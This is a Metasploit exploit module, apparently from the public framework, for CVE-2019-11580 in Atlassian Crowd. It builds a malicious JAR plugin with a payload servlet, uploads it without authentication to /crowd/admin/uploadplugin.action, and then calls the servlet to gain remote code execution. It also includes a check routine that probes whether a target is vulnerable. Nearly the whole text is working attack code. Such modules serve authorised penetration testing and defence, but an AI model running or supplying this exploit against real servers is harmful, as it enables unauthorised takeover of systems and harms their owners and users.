Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  prepend Msf::Exploit::Remote::AutoCheck
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Atlassian Crowd pdkinstall Unauthenticated Plugin Upload RCE',
        'Description' => %q{
          This module can be used to upload a plugin on Atlassian Cloud via
          the pdkinstall development plugin as an unauthenticated attacker.
          The payload is uploaded as a JAR archive containing a servlet using
          a POST request to /crowd/admin/uploadplugin.action. The check command will
          check that the /crowd/admin/uploadplugin.action page exists and that it
          responds appropriately to determine if the target is vulnerable or not.
        },
        'Author' => [
          'Paul', # Vulnerability discovery
          'Corben Leo', # PoC and Vulnerability Writeup. @hacker_ on Twitter.
          'Grant Willcox' # Metasploit module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          ['CVE', '2019-11580'],
          ['URL', 'https://jira.atlassian.com/browse/CWD-5388'],
          ['URL', 'https://confluence.atlassian.com/crowd/crowd-security-advisory-2019-05-22-970260700.html'],
          ['URL', 'https://www.corben.io/atlassian-crowd-rce/']
        ],
        'Platform' => %w[java],
        'Arch' => ARCH_JAVA,
        'DefaultOptions' => {
          'HttpClientTimeout' => 25 # Allow a bit more time for the file upload to complete, just in case things are delayed, before timing out.
        },
        'Notes' => {
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ],
          'Reliability' => [ REPEATABLE_SESSION ],
          'Stability' => [ CRASH_SAFE ]
        },
        'Targets' => [
          [
            'Java Universal',
            {
              'Arch' => ARCH_JAVA,
              'Platform' => 'java'
            }
          ]
        ],
        'DisclosureDate' => '2019-05-22'
      )
    )

    register_options(
      [
        Opt::RPORT(8095),
        OptString.new('TARGETURI', [true, 'The base URI to Atlassian Crowd', '/crowd/']),

      ]
    )
  end

  def upload_plugin(content)
    data = Rex::MIME::Message.new
    data.add_part(content, nil, 'binary', "form-data; name=\"file_#{Rex::Text.rand_text_alpha(8..12)}\"; filename=\"#{Rex::Text.rand_text_alpha(8..12)}.jar\"")
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, '/admin/uploadplugin.action'),
      'method' => 'POST',
      'data' => data.to_s,
      'ctype' => "multipart/mixed; boundary=#{data.bound}"
    }, datastore['HttpClientTimeout'])
  end

  def generate_plugin_jar
    name = Rex::Text.rand_text_alpha(8..12)
    servlet_name = Rex::Text.rand_text_alpha(8..12)
    atlassian_plugin_xml = %(
        <atlassian-plugin key="metasploit.PayloadServlet" name="#{name}" plugins-version="2" class="metasploit.PayloadServlet">
          <plugin-info>
            <param name="atlassian-data-center-compatible">true</param>
            <description></description>
            <version>1.0.0</version>
          </plugin-info>

          <servlet name="#{servlet_name}" key="#{servlet_name}" class="metasploit.PayloadServlet">
            <url-pattern>/#{name}</url-pattern>
            <description>#{Faker::App.name}</description>
          </servlet>
        </atlassian-plugin>
      )

    # Generates .jar file for upload
    zip = payload.encoded_jar
    zip.add_file('atlassian-plugin.xml', atlassian_plugin_xml)

    servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class')
    zip.add_file('/metasploit/PayloadServlet.class', servlet)

    contents = zip.pack
    [contents, name]
  end

  def check
    print_status('Sending a test request to try installing an invalid plugin to see if the server is vulnerable...')
    res = upload_plugin(Rex::Text.rand_text_alpha(45..120))
    if res.nil?
      CheckCode::Unknown('Was not able to connect to the target!')
    elsif (res.body =~ /Unable to install plugin/) && (res.code == 400)
      CheckCode::Vulnerable("Target responded that it couldn't install an invalid plugin, indicating it's vulnerable!")
    else
      CheckCode::Safe("Target didn't respond that it couldn't install an invalid plugin, so it's not vulnerable!")
    end
  end

  def exploit
    print_status('Generating a malicious JAR plugin...')
    content, plugin_name = generate_plugin_jar
    print_status('Uploading the malicious JAR plugin...')
    upload_plugin(content)
    send_request_cgi({
      'uri' => normalize_uri(target_uri.path, "/plugins/servlet/#{plugin_name}"),
      'method' => 'GET'
    }, datastore['HttpClientTimeout'])
  end
end